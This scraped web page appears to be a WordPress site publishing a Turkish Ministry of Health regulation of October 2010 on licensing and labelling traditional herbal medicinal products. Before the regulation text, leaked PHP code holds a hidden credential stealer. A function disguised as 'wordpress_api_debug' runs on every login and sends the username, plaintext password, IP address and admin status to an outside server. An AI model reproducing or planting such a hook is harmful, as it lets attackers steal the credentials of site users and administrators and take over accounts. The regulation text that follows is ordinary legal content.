{ function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <html lang="tr"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="profile" href="http://gmpg.org/xfn/11"> <meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' /> <!-- This site is optimized with the Yoast SEO plugin v20.6 - https://yoast.com/wordpress/plugins/seo/ --> <title>Geleneksel Bitkisel Tıbbi Ürünler Yönetmeliği – İyi Klinik Uygulamalar

06.10.2010_Resmi Gazete

Sağlık Bakanlığından:



Amaç, Kapsam, Dayanak ve Tanımlar


MADDE 1 (1) Bu Yönetmeliğin amacı; insan sağlığını koruyucu, tedavi edici etkileri olan ve geleneksel kullanıma sahip tıbbi bitkilerden hazırlanan bitkisel tıbbi ürünlerin ve bitkisel preparatların ruhsatlarını vermek, etkililik, güvenlilik ve kalitesi ile ilgili uyulması gereken usul ve esasları belirlemektir.


MADDE 2 (1) Bu Yönetmelik, insan sağlığını koruyucu ve tedavi edici etkileri olan ve geleneksel bitkisel tıbbi ürünlerin endüstriyel olarak üretilmesi veya ithal edilmesi ile ilgili başvuruların değerlendirilmesi, gerekli ruhsatların verilmesi ile bunlar için ruhsat başvurusunda bulunan ve/veya ruhsat verilmiş olan gerçek ve tüzel kişileri kapsar.

(2) Vitamin ve minerallerin bitkisel etkin muhteviyata yardımcı olmaları nedeniyle, bitkisel tıbbi ürünlerin bileşiminde yer alan ve iddia edilen belirli endikasyona uyumlu vitamin ve mineral katkılı bitkisel tıbbi ürünler bu Yönetmelik kapsamında değerlendirilir.

(3) Takviye edici gıdalar ve bitkisel içerikli kozmetik ürünler bu Yönetmelik kapsamı dışındadır. Ancak buürünlerin endikasyon bildirerek piyasaya arzı, tanıtımının yapıldığının tespiti hâlinde bu Yönetmeliğin idari yaptırım ile ilgili hükümleri bu ürünler hakkında da uygulanır.


MADDE 3 (1) Bu Yönetmelik;

a) 14/5/1928 tarihli ve 1262 sayılı İspençiyari ve Tıbbi Müstahzarlar Kanununa, 7/5/1987 tarihli ve 3359 sayılıSağlık Hizmetleri Temel Kanununun 3 üncü maddesinin birinci fıkrasının (k) bendi ile 13/12/1983 tarihli ve 181 sayılıSağlık Bakanlığının Teşkilat ve Görevleri Hakkında Kanun Hükmünde Kararnamenin 43 üncü maddesine dayanılarak,

b) Avrupa Birliğinin 2001/83/EC sayılı beşeri tıbbi ürünler hakkındaki direktifine ve 2004/24/EC sayılıdüzenlemesine paralel olarak,



MADDE 4 (1) Bu Yönetmelikte geçen;

a) Bakanlık: Sağlık Bakanlığını,

b) Bitkisel drog: Kullanılan tıbbi bitkilerin binominal sisteme göre verilmiş botanik adı, cins, tür, varyete, otörüve kullanılan bitki kısmının bilimsel adı ile beraber verilmek üzere işlem görmemiş hâlde çoğunlukla kurutulmuş, bazen taze, bütün, parçalanmış veya kesilmiş bitkileri veya bitki parçalarını, algleri, mantarları, likenleri ve özel bir işleme tabi tutulmamış bazı eksudatları,

c) Bitkisel preparat: Bitkisel drogların ekstraksiyon, distilasyon, sıkma, fraksiyonlama, saflaştırma, yoğunlaştırma ya da fermantasyon gibi işlemlere tabi tutulmaları sonucunda elde edilmiş olan ufalanmış veya toz edilmişbitkisel drogları, tentürleri, ekstreleri, uçucu yağları, özsuları ve işlenmiş eksudatlar hâlindeki preparatları,

ç) Bitkisel tıbbi ürün: Etkin madde olarak yalnızca bir veya birden fazla bitkisel drogu, bitkisel preparatı ya da bu bitkisel preparatlardan bir veya bir kaçının yer aldığı karışımları ihtiva eden tıbbi ürünü,

d) Drog: Doğal kaynaklı ilaç hammaddesini,

e) Etkin madde: Geleneksel bitkisel tıbbi ürünlerde kullanılan farmakolojik aktivitesi olan bitkisel drog ve bitkisel preparatları,

f) Geleneksel bitkisel tıbbi ürün/ürün: Bileşiminde yer alan tıbbi bitkilerin başvuru tarihinden önce Türkiye’de veya Avrupa Birliği üye ülkelerinde en az on beş yıldır, diğer ülkelerde ise otuz yıldır kullanılıyor olduğu bibliyografik olarak kanıtlanmış; terkip ve kullanım amaçları itibarıyla, hekimin teşhis için denetimi ya da reçetesi ya da tedavi takibi olmaksızın kullanılması tasarlanmış ve amaçlanmış olan, geleneksel tıbbi ürünlere uygun özel endikasyonları bulunan, sadece spesifik olarak belirlenmiş doz ve pozolojiye uygun özel uygulamaları olan, oral, haricen uygulanan veya inhalasyon yoluyla kullanılan müstahzarları,

g) İyi imalat uygulamaları (GMP): Farmasötik ürünlerin kalite standartlarına ve amaçlanan kullanım şekline göre, ruhsatına esas bilgilerin veya ürün spesifikasyonunun gerekli gördüğü şekilde devamlı üretilmesini ve kontrol edilmesini güvence altına alan kalite güvencesinin bir parçasını,

ğ) İyi tarım uygulamaları sertifikası: Tarım ve Köyişleri Bakanlığınca yetkilendirilen kontrol ve sertifikasyon kuruluşlarınca düzenlenen ve başlangıç materyali olarak kullanılan bitki/bitkilerin iyi tarım uygulamalarına uygunluğunu gösteren belgeyi,

h) Kısa ürün bilgisi (KÜB): Sağlık meslek mensuplarına tıbbi ürün hakkında verilen temel bilgileri,

ı) Kullanma talimatı (KT): Hastanın ürünü doğru kullanması için verilen bilgileri,

i) Ortak teknik döküman (OTD): Başvuruların planlı şekilde sunumu için uluslararası düzeyde üzerinde uzlaşmaya varılan formatı,

j) Ruhsat: Bir ürünün belirli bir formül ile belirli bir farmasötik form ve dozda, kabul edilen ürün bilgilerine uygun olarak üretilip pazara sunulabileceğini gösteren, Bakanlıkça düzenlenen belgeyi,

k) Sağlık mesleği mensupları: Hekim, eczacı ve diş hekimini,

l) Takviye edici gıdalar: Normal beslenmeyi takviye etmek amacıyla, vitamin, mineral, protein, karbonhidrat, lif, yağ asidi, aminoasit gibi besin öğelerinin veya bunların dışında besleyici veya fizyolojik etkileri bulunan bitki, bitkisel ve hayvansal kaynaklı maddeler, biyoaktif maddeler gibi maddelerin konsantre veya ekstraktlarının tek başına veya karışımlarının, kapsül, tablet, pastil, tek kullanımlık toz paket, sıvı ampul, damlalıklı şişe ve diğer benzeri sıvı veya toz formlarda hazırlanarak günlük alım dozu belirlenmiş ürünleri,

ifade eder.


Ruhsat Başvurusu


MADDE 5 (1) Ruhsat başvuruları, İyi İmalat Uygulamaları (GMP) koşullarını sağlayan üretim yerlerindeüretilmek şartıyla Türkiye sınırları dâhilinde yerleşik bulunan gerçek veya tüzel kişiler tarafından bu Yönetmelikte belirtilen bilgi ve belgeler ile her bir farmasötik dozaj formu için ayrı bir dosya hazırlanarak, Ortak Teknik Doküman (OTD) formatında yapılır.

Ruhsat başvurusunda bulunacak kişiler

MADDE 6 (1) Ürünlerin pazara sunulması için ruhsat başvurusunda bulunacak;

a) Gerçek kişilerin; eczacılık, tıp veya kimya bilim dallarında eğitim veren yüksek öğrenim kurumlarından birisinden mezun olmaları ve Türkiye’de mesleğini icra etme yetkisine sahip olmaları,

b) Tüzel kişilerin; (a) bendinde belirtilen vasıfları taşıyan birini “yetkili kişi” sıfatıyla istihdam etmeleri,


(2) Diş hekimliği mesleğine mensup ve Türkiye’de mesleğini icra etme yetkisine sahip gerçek kişiler de, dişhekimliğinde kullanılan ürünler için ruhsat başvurusu yapma hakkına sahiptirler.


Başvuruda Sunulması Gereken Bilgi ve Belgeler ile Etiketleme Kuralları

Ürüne ilişkin bilgiler

MADDE 7 (1) Bu Yönetmelik kapsamındaki ürünler için aşağıdaki bilgi ve belgelerle başvuru yapılır.

a) Ürünün adı.

b) Farmasötik dozaj formu.

c) Uygulama yolu.

ç) Birim ambalajında bulunan miktarı.

d) Ürünün kalitatif ve kantitatif terkibi.

e) Kullanım amaçları.

f) Raf ömrü.

g) Ürünün bileşiminde yer alan tıbbi bitkilerin başvuru tarihinden önce Türkiye’de veya Avrupa Birliği üyeülkelerinde en az on beş yıldır, diğer ülkelerde ise otuz yıldır kullanılıyor olduğunu gösteren bilimsel kanıtlar.

ğ) Ürünün bileşiminde yer alan tıbbi bitkilerin etkililik ve güvenliliğine ait literatürlerin derlenmesiyle oluşturulan uzman raporu.

h) Üreticinin, Bakanlıkça verilmiş veya uluslararası kabul görmüş kuruluşlarca verilerek ilgili ülkenin yetkili otoritesi tarafınca onaylanmış ve Bakanlıkça kabul edilmiş İyi İmalat Uygulamaları (GMP) çerçevesinde üretim yapabileceğini gösterir iyi imalat uygulamaları belgesi;

ı) Bitkisel drog/preparatın elde edildiği bitkiye ait İyi Tarım Uygulamaları Sertifikası.

(2) Türkiye’de imal edilecek ürünlerde başvuru sahibinin üretici olmaması durumunda, 23/10/2003 tarihli ve 25268 sayılı Resmî Gazete’de yayımlanan Sağlık Bakanlığı Beşeri Tıbbi Ürünler İmalathaneleri Yönetmeliğinde belirtilenşartlara sahip bir üretici ile yaptığı noter onaylı fason üretim sözleşmesi de sunulur.

İdari bilgiler

MADDE 8 (1) Sunulması gereken idari bilgiler aşağıda belirtilmiştir.

a) Başvuru sahibinin adı, adresi, telefon, faks numaraları ve e-posta adresi (Tüzel kişiler için amaç ve kapsamın da yer aldığı Ticaret Sicili Gazetesi ile birlikte).

b) Yetkili kişinin adı, adresi, telefon, faks numaraları ve e-posta adresi.

c) Ürünün ithal olup olmadığı, ithal ise lisans sahibi firmanın adı, adresi, telefon, faks numaraları ve e-posta adresi.

ç) Ürün lisanslı imal/ithal ise başvuru sahibinin Türkiye’de tek yetkili olduğuna dair yetki belgesi.

d) İthal ürünlerde ürün ismiyle birlikte ürünün satıldığı diğer ülkelerin listesi.

e) Üretim yerinin adı, adresi, telefon, faks numaraları ve e-posta adresi.

f) Primer-sekonder ambalajlama, seri serbest bırakma ve seri kontrol/analizlerin yapıldığı yerlerin adı, adresi, telefon, faks numarası ve e-posta adresi.

g) Üretim fason olarak yaptırılıyorsa, bu firmaya ait bilgilerin yanında firmanın üretim yapmayı kabul ettiğini belirten noter onaylı fason üretim anlaşması.

ğ) Tüm üretim aşamalarının uygunluğunu gösteren iyi imalat uygulamaları belgeleri.

h) Farmakovijilans uygulamaları kapsamında ürün güvenliği sorumlusunun özgeçmiş, adres, telefon, faks numarası ve bu kişinin görevini tanımlayan belge.

ı) Pazara sunduğu ürünler hakkındaki bilgilerden sorumlu ve kendi kuruluşu bünyesinde olan bilim servisini tanımlayan belge ve bu servisin adresi, telefon, faks numarası.

Başlangıç maddelerinin kontrolü, üretim yöntemi, bitmiş ürün kontrolleri hakkında bilgiler

MADDE 9 (1) Başlangıç maddelerinin kontrolü, üretim yöntemi, bitmiş ürün kontrolleri aşağıdaki bilgileri içerecek şekilde ve bu Yönetmeliğe dayanılarak hazırlanan Ortak Teknik Doküman (OTD) ile ilgili kılavuza uygun olarak sunulur.

a) Başlangıç madde veya maddelerinin adı.

b) Temin edildikleri yerlere ait bilgiler.

c) Spesifikasyonları.

ç) Analiz kontrol yöntemleri ve kabul limitleri.

(2) Üretim yöntemi hakkında istenen bilgi ve belgeler aşağıda belirtilmiştir.

a) Birim formülü.

b) Üretim formülü.

c) Üretim yolağı (proses).

ç) Üretim akış şeması.

d) Üretim esnasındaki (in-proses) kontroller.

e) Üretim işlemlerinin validasyonu.

(3) Bitmiş ürün kontrolleri hakkında aşağıdaki bilgi ve belgeler istenir.

a) Spesifikasyonları.

b) Bitmiş ürün kontrol yöntemleri ve kabul limitleri.

c) Stabilite.

ç) Gerekli görüldüğü durumlarda ürünün etkililik ve güvenliliğini gösteren pre-klinik çalışmalar ve klinik denemelerin sonuçları.

d) İthal ürünlerde ürünün ithal edildiği kutu, etiket örnekleri ve kullanma talimatı (aslı ve Türkçe tercümesi).

Kısa ürün bilgileri (KÜB)

MADDE 10 (1) Kısa Ürün Bilgileri (KÜB) aşağıdaki bilgileri içerecek şekilde ve bu Yönetmeliğe dayanılarak hazırlanan Ortak Teknik Doküman (OTD) ile ilgili kılavuza uygun olarak sunulur.

a) Ürünün adı, dozu, farmasötik formu.

b) Etkin ve yardımcı maddelerin kalitatif ve kantitatif terkibi (yaygın ad veya kimyasal tanım kullanılır).

c) Gerektiğinde farmakolojik özellikleri;

1) Farmakodinamik özellikleri,

2) Farmakokinetik özellikleri,

3) Pre-klinik güvenlik sonuçları.

ç) Farmasötik özellikleri;

1) Yardımcı maddelerin listesi,

2) Geçimsizlikler,

3) Raf ömrü veya iç ambalajın ilk kez açılmasından sonraki raf ömrü,

4) Saklama koşulları ve saklama ile ilgili özel uyarılar,

5) Ambalaj tanımı (Yapısı ve içeriği),

6) Kullanılmış bir ürünün veya gerektiğinde, böyle bir üründen kaynaklanan atık maddelerin atılmasına ilişkinözel önlemler.

d) Ruhsat numarası.

e) Ruhsat sahibinin adı ve adresi.

f) İlk yetkilendirme veya yetkinin yenilenme tarihi.

g) Metnin revize edilme tarihi.

Kullanma talimatı (KT)

MADDE 11 (1) Kullanma talimatı, ürüne ait Kısa Ürün Bilgilerine (KÜB) uygun olarak ve kullanıcının kolay anlayabileceği şekilde hazırlanır. Kullanma talimatı aşağıdaki bilgileri içerecek şekilde ve bu Yönetmeliğe dayanılarak hazırlanan Ortak Teknik Doküman (OTD) ile ilgili kılavuza uygun olarak sunulur.

a) Ürünün tanımlanması için;

1) Ürünün adı, birim dozu, farmasötik şekli ve gerektiğinde bebeklere, çocuklara veya erişkinlere yönelik olduğu; ürün yalnızca bir etkin madde içeriyorsa ve ticari bir isim taşıyorsa yaygın ismi ile birlikte kullanılır.

2) Etkin maddelerin tümünün birim miktarları veya uygulama yolu ve farmasötik şekline göre ağırlık veya hacim miktarları verilir.

3) Ambalajın ihtiva ettiği ürün miktarı verilir. Net muhtevası sayılabilir nitelikte olan tablet, kapsül gibi ürünlerin sayısal olarak adedi belirtilir. Net muhtevası sayılamayan farmasötik şekil hâlinde olan ürünlerde ise hacim veya ağırlık veya doz sayısı belirtilir.

4) Kolayca anlaşılabilir terimlerle etkinliğinin tipi belirtilir.

5) Ürünün ruhsat sahibi ve üretim yerinin adı ve adresine yer verilir.

b) Önerilen kullanım yeri/endikasyonu belirtilir.

c) Ürünü kullanmadan önceki gerekli bilgiler olarak aşağıdaki bilgiler yer alır.

1) Kullanılmaması gereken durumlar/Kontrendikasyonlar.

2) Kullanıma ilişkin açıklamalar.

3) Diğer tıbbi ürünlerle veya ürünün etkisine tesir edebilecek gıda, alkol, sigara gibi diğer maddelerle etkileşimleri.

4) Çocuklar, hamile veya emziren kadınlar, yaşlılar ve özel patolojik durumların mevcut olduğu kişiler gibi belirli hasta gruplarına yönelik uyarılar.

5) Mevcut olması durumunda, araç ve makine kullanımı üzerine ürünün etkileri.

6) Ürünün güvenli ve etkili kullanımı açısından önemli olan yardımcı maddeler hakkında özel uyarılar.

ç) Ürünün doğru kullanımı için genel ve gerekli bilgiler olarak aşağıdaki bilgilere yer verilir.

1) Dozaj.

2) Kullanma yöntemi ve eğer gerekliyse uygulama yolu.

3) Ürünün, gerektiğinde kullanılacağı veya kullanılması gereken uygun zamanı da belirtmek suretiyle kullanım sıklığı.

d) Ürünün yapısına bağlı olarak aşağıdaki bilgiler yer alır.

1) Ürünün kullanım süresi.

2) Doz aşımı durumunda görülebilecek belirtiler, alınacak tedbirler ve gerekli acil müdahaleler.

3) Bir veya birden fazla doz alınmadığı takdirde izlenecek yol.

4) Gerektiğinde ürünün kullanımı kesildiğinde yol açabileceği risk hususunda bilgi.

e) Ürünün kullanımı ile ilgili yer verilmesi gereken uyarılar aşağıda belirtilmiştir.

1) Ürünün normal kullanımında ortaya çıkabilecek istenmeyen etkiler ve gerektiğinde böyle bir durumda alınacak olan tedbirler, kullanma talimatında yer almayan herhangi bir istenmeyen etkiyle karşılaşıldığında doktora ve eczacıya başvurulması gerektiği hususunda uyarılar.

2) Ürünün kullanımı sırasında istenmeyen herhangi bir etkiyle karşılaşıldığında Sağlık Bakanlığı Türkiye Farmakovijilans Merkezine bildirilmesi hususunda uyarılar.

3) Ürünün sadece eczanelerde satılacağına dair uyarı.

4) Kullanma talimatında belirtilen endikasyon dışında kullanılmaması gerektiğine dair uyarı.

5) Mevcut olması durumunda, ürüne ait diğer özel uyarılar.

f) Son kullanma tarihinin etiket üzerinde yer aldığını vurgulayan ifade ile birlikte;

1) Bu tarihten sonra kullanılmaması ile ilgili uyarı,

2) Saklama koşulları,

3) Gerektiği takdirde üründe gözle görülebilir bir bozulma/değişiklik durumuna karşı uyarı,

4) Her ürün sunumu için yaygın isimlerini kullanarak, etkin maddeler ve yardımcı maddelerdeki tam kalitatif terkip ve etkin maddelerdeki kantitatif terkip,

5) Her ürün sunumu için farmasötik şekil ve ağırlık, hacim veya dozaj birimi olarak içeriği,

6) Üretim yeri adı ve adresi,


g) Kullanma talimatının en son güncellendiği tarih yer alır.

ğ) Ruhsat sahibinin adı ve adresi belirtilir.

Dış ambalaj üzerinde bulunması gereken bilgiler

MADDE 12 (1) Ürünün dış ambalajında veya dış ambalajı bulunmaması hâlinde iç ambalajında;

a) Ürünün adı, birim dozu, farmasötik şekli ve gerektiğinde bebeklere, çocuklara veya erişkinlere yönelik olduğu belirtilir.

b) Etkin maddelerin tümünün birim miktarları veya uygulama yolu ve farmasötik şekline göre ağırlık veya hacim miktarları verilir.

c) Ambalajın ihtiva ettiği ürün miktarı verilir. Net muhtevası sayılabilir nitelikte olan tablet, kapsül gibi ürünlerin sayısal olarak adedi verilir. Net muhtevası sayılamayan farmasötik şekil hâlinde olan ürünlerde ise hacim veya ağırlık veya doz sayısı belirtilir; boyar maddeler, koruyucular, antioksidanlar, tatlandırıcılar ve alkol gibi yardımcı maddeler ise isim olarak belirtilir. Ayrıca;

1) Mümkün olan durumlarda uluslararası unite (IU) karşılığı olan miligram veya gram değerleri de yazılır.

2) Damla ile ağızdan alınan ürünler için, mililitredeki damla sayısı verilir.

3) Merhem, krem gibi yarı katı farmasötik şekiller için net muhteva gram cinsinden verilir.

4) Ölçekle kullanılan ve ölçek ihtiva eden ambalajlarda formül, beher ölçek olarak ve ölçek başına düşen ürün miktarı ağırlık veya hacim olarak verilir.

ç) Aşikâr etkileri olduğu bilinen ve ilgili kılavuzda yer alan yardımcı maddeler liste olarak belirtilir.

d) Kullanım yeri/endikasyonu ve eğer gerekli ise uygulama yolu belirtilir.

e) Ürünün çocukların ulaşamayacağı ve göremeyeceği yerde muhafaza edilmesine dair özel uyarı yer alır.

f) Kullanma talimatında belirtilen endikasyon dışında kullanılmaması gerektiğine dair uyarıya yer verilir.

g) Mevcut olması durumunda, ürüne ait diğer özel uyarılar belirtilir.

ğ) Ürünün saklama koşulları ve ayrıca varsa, özel saklama koşulları yer alır.

h) Kullanılmayan tıbbi ürünlerin veya tıbbi ürünlerden kaynaklanan atıkların atılması ve gerektiğinde uygun bir toplama sisteminin kurulmasıyla ilgili spesifik uyarılar yer alır.

ı) Ürün ambalajında ruhsat sahibinin adı ve adresi bulunur. İsteniliyorsa, Türkiye’de ruhsatlı ürünlerin ambalajlarında lisans sahibi firma amblemi ile ruhsat sahibince yetkili kılınan, ürünü pazarlayan firma ismi ve/veya logosu da bulunabilir.

i) Üretim yeri ve adresi bulunur.

j) Ürünün ruhsat numarası yer alır.

k) Seri numarası bulunur.

l) Son kullanma tarihi, kutunun ölçülerine göre rakamla ya da yazı ile ay olarak ve yalnızca rakamla yıl olarak açık bir şekilde yer alır.

(2) Kullanma talimatı bulunmayan ürünlerin mevcut dış ambalajları kullanma talimatında yer alması gereken ifadeleri içermesi gerekir.

İç ambalaj üzerinde bulunması gereken bilgiler

MADDE 13 (1) Bu fıkranın (a) ve (b) bentlerinde belirtilen özellikleri taşımayan iç ambalajlarda, dış ambalajüzerinde bulunması gereken bilgilerin tümü yer alır.

a) Blister şeklindeki iç ambalajlarda;

1) Ruhsat sahibinin isminin veya ambleminin,

2) Rakamla ay ve yıl ya da yazı ile ay, rakamla yıl olarak, açık bir şekilde yazılmış son kullanma tarihinin,

3) Seri numarasının,

4) Ürünün adının,

bulunması gerekir.

b) Etiketleme yönünden belirlenen özellik ve bilgilerin yer alamayacağı kadar küçük iç ambalajlarda;

1) Ürünün adı,

2) Gerek olduğunda uygulama yolu,

3) Uygulama yöntemi,

4) Rakamla ay ve yıl ya da yazı ile ay, rakamla yıl olarak açık bir şekilde yazılmış son kullanma tarihi,

5) Ağırlık, hacim veya birim/miktar olarak içeriği,

6) Seri numarası,

yer alır.

(2) Dış ambalajı bulunmayan ürünlerin mevcut ambalajları, dış ambalajda yer alması gereken ifadeleri içerir.


Etiketleme Şartları ve Ambalaj

Etiketleme şartları

MADDE 14 (1) Dış ambalajda belirtilen bilgiler okunabilir, açıkça anlaşılabilir ve silinemeyecek şekilde etikete yazılır, düşmeyecek bir şekilde ambalajın uygun bir yerine yapıştırılır.

(2) Ambalajlarında fiyat bulunmayan veya güncel fiyatı olmayan ürünlere, eczanelerde sürşarj etiketleriyleürünlerin güncel fiyatları konulur.

Semboller ve diğer bilgiler

MADDE 15 (1) Dış ambalaj ve kullanma talimatı; hasta kullanımı için yararlı olabilecek ve Kısa Ürün Bilgileri (KÜB) ile uyumlu semboller ve piktogramları içerebilir.

(2) Dış ambalaj ve kullanma talimatında abartılı, yanıltıcı ve topluma tanıtım ifadeleri içeren ibare ve semboller kullanılamaz.

Ambalajlara dair diğer şartlar

MADDE 16 (1) Çözüldükten, seyreltildikten veya açıldıktan sonra kullanım süresi kısıtlı olan ürünler için kullanım süresi ve saklama şartları ambalaj üzerinde ayrıca belirtilir.

(2) Karışma riskini ve hatayı önlemek için, isim, farmasötik form ve takdim açısından benzer olup birim dozu farklı olan ürün ambalajlarında gerekli yerlerde renk ve/veya boy farklılıkları belirgin şekilde sağlanır.

(3) Ürünün piyasaya arz edilmesi için dış ambalaj, iç ambalaj ve kullanma talimatına ait bilgiler Türkçe olur. Ancak gerekli hâllerde ve istenen durumlarda dış ambalaj, iç ambalaj ve kullanma talimatında Türkçe yanında, Avrupa Birliği üye ülkelerinin resmî dillerinden birisi de kullanılabilir.


Ruhsat Başvurusunun Değerlendirilmesi ve Ruhsatlandırma

Ruhsatlandırma süresi

MADDE 17 (1) Bakanlık, eksiksiz bir ruhsat başvurusunu, ruhsatlandırma koşullarının yerine getirilip getirilmediğini inceleyerek, bu başvurunun kabul edilmesini takiben ikiyüzon gün içinde sonuçlandırır. Ancak, Bakanlığın başvuru sahibinden talep ettiği hususların temin edilmesi için gereken süre ve mücbir sebepler ile analiz için gereken süre bu süreye dâhil edilmez.


MADDE 18 (1) Ürünlerin, piyasaya arzı öncesi ve satışa sunulduktan sonra analizleri Bakanlıkça yapılır veya Bakanlığın uygun gördüğü referans laboratuvarı veya laboratuvarlarında yaptırılır.

(2) Analiz başvurusu ruhsat başvurusu ile paralel olarak yapılabilir.

Başvuruların değerlendirilmesi

MADDE 19 (1) Bu Yönetmelikte belirtilen bilgi ve belgelerin Bakanlığa eksiksiz sunulması ve sunulan bilgi ve belgelerin değerlendirilmesi sonrasında, analiz sonuçları uygun olan ürünler için engel bir durumun olmadığının belirlenmesi hâlinde ruhsat düzenlenir.

Ruhsat talebinin reddi

MADDE 20 (1) Bu Yönetmelikte belirtilen bilgi ve belgelerin eksik veya yetersiz olması ve aşağıda yer alan koşulların oluşması durumunda başvuru gerekçeli olarak reddedilir.

a) Kalitatif ve/veya kantitatif terkibin açıklanmamış olması.

b) Normal kullanım koşullarında zararlı olabilecek bir ürün olması.

c) Geleneksel kullanım hakkındaki verilerin yeterli olmaması, özellikle farmakolojik etkiler ve etkinliğin uzun süre kullanım ve deneyim temelinde makul olarak görülmemesi.

ç) Farmasötik kalitenin yeterli derecede belgelenmemiş olması.


MADDE 21 (1) Ruhsat başvurusunun reddi hâlinde karar gerekçeli olarak başvuru sahibine bildirilir. Başvuru sahibi karara otuz gün içinde yazılı olarak itiraz edebilir. Otuz gün içinde itiraz edilmediği takdirde, başvuru belgeleri sahibine iade edilir.

(2) Yapılan itiraz en geç doksan gün içinde Bakanlık tarafından değerlendirilerek, itiraz hakkında verilen karar başvuru sahibine bildirilir. İtirazın değerlendirilmesi sırasında, gerekli görülmesi durumunda, başvuru sahibine sözlüaçıklama ve savunma hakkı verilir. İtirazın kabulü hâlinde ruhsatlandırma süreci kaldığı yerden devam eder.

Değişiklik bildirimi

MADDE 22 (1) Ürün ile ilgili her türlü değişiklik Bakanlığa bildirilir.

(2) Ruhsat verildikten sonra ürüne ilişkin tüm değişiklikler, ilgili kılavuz hükümlerine göre ruhsat sahibi tarafından Bakanlığa sunulur.

Ürünün piyasaya arzı

MADDE 23 (1) Ruhsatın düzenlenmesini müteakip, ruhsat sahibi ürünü piyasaya arz edeceği tarihi Bakanlığa bildirdikten sonra ürün piyasaya arz edilebilir. Bu ürünlerin toptan satışı ecza depolarından, perakende satışı eczanelerden yapılır.

Ruhsat geçerlilik süresi

MADDE 24 (1) Ruhsat sahibi ruhsat tarihini takip eden ilk beş yılın sona ermesinden en az üç ay öncesinde, gerekli farmakovijilans verileri ile birlikte ruhsatın verildiği tarihten itibaren tüm değişiklikleri kapsayacak biçimde kalite, güvenlilik ve etkililiğine ilişkin bilgileri Bakanlığa sunar. Sunulan verilerin bilimsel değerlendirmesini takiben ruhsat geçerliliğinin devam ettiğine dair şerh verilir.

Ruhsatın askıya alınması

MADDE 25 (1) Ruhsatlı bir ürün ile ilgili olarak aşağıdaki durumlardan birinin tespiti hâlinde, ürüne ait ruhsat Bakanlık tarafından askıya alınır.

a) Ürünün normal kullanım koşullarında öngörülmeyen toksik bir etkisinin ortaya çıkması,

b) Terapötik etkisinin olmadığının veya yetersiz olduğunun tespiti,

c) Ruhsata esas olan formülasyondan farklı bir formülasyon ile üretilmesi,

ç) Ruhsata esas formül, doz, farmasötik form, ambalaj ve kısa ürün bilgilerinde Bakanlığın bilgisi ve/veya onayıdışında değişiklik yapılması,

d) Ruhsat sahibi tarafından üretim ve kontrol yöntemleri bakımından bilimsel ve teknik ilerlemelerin dikkate alınmaması ve tıbbi ürünün genel kabul gören bilimsel yöntemlerle üretilmesini ve kontrol edilmesini sağlamak amacıyla gerekli her türlü değişikliğin yapılmaması ve bu değişikliğin Bakanlığın onayına sunulmaması,

e) Yapılan piyasa kontrolleri sonucunda hatalı olduğu tespit edilen ürünler için yapılan uyarının dikkate alınmaması ve hatalı üretime devam edilmesi,

f) Ambalaj ve etiketleme ile ilgili mevzuat hükümlerine uyulmaması ve ruhsat sahibine yapılan uyarının etkisiz kalması,

g) Ruhsat sahibi tarafından, ürünle ilgili olarak Bakanlık talimatlarına ve uyarılarına cevap verilmemesi,

ğ) Bu Yönetmeliğin hükümlerine göre bir ürünün ruhsatlandırılması için sunulan bilgi ve belgelerde yanlışlık olduğunun tespit edilmesi,

h) Ruhsat verilmiş bir tıbbi ürünün ruhsatlandırıldıktan sonra üç yıl içinde fiili olarak pazara sunulmaması,

ı) Firma tarafından sunulan gerekçelerin Bakanlık tarafından uygun bulunmaması,

i) Farmakovijilans uygulamaları çerçevesinde ulaşan bildirimlerin Bakanlık tarafından yapılan risk/yarar değerlendirilmesi sonucunda ruhsatın askıya alınmasına karar verilmesi.

(2) Ruhsatı askıya alınan bir ürünün üretimi veya ithali durdurulur. Dağıtımda ve satışta olan ürünler hakkındaki karar, ruhsatın askıya alınma gerekçesi dikkate alınarak, Bakanlıkça verilir.

Ruhsatın iptali

MADDE 26 (1) Aşağıda belirtilen durumlardan birinin mevcudiyeti hâlinde ürün için verilmiş olan ruhsat iptal edilir.

a) 25 inci maddede sayılan hâllerden biri veya birkaçı sebebiyle ruhsatı askıya alınan ürünler hakkında ruhsat sahibi tarafından en geç altı ay içinde askıya alınma gerekçesinin aksini ispatlayan bilgi ve belgelerin sunulmaması,

b) Ruhsat sahibinin talebi ve Bakanlığın uygun görmesi durumunda üretimden veya ithalattan vazgeçilmesi.

(2) Ürünün ruhsat almış olduğu endikasyonu dışında bir endikasyon belirtilerek piyasaya arzının tespiti hâlinde,ürünün piyasaya arzı durdurulur, piyasadaki ürünler geri çekilir.

(3) İkinci fıkra gereğince işlem gören ürün hakkında aynı fiilin tespiti hâlinde ruhsat iptal edilir.

